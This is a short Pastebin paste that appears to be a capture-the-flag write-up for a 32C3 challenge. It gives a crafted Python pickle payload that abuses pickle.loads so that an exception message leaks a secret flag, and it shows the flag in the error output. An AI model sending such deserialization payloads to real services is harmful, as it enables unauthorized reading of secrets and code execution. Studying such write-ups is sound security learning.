Advertisement
Guest User

Untitled

a guest
Jan 3rd, 2016
546
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.42 KB | None | 0 0
  1. # all the over writeups are very complicated
  2. # the following utilizes the exception handling that wraps the pickle.loads(str)
  3. # by casting the flag into a float, we can throw an error and see the flag fairly easily
  4.  
  5. c__builtin__
  6. float
  7. (c__builtin__
  8. getattr
  9. (c__main__
  10. flag
  11. S"flag"
  12. tRtR.
  13.  
  14. >> float(getattr(__main__.flag,flag))
  15. exception
  16. ValueError('invalid literal for float(): 32c3_rooDahPaeR3JaibahYeigoong',)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement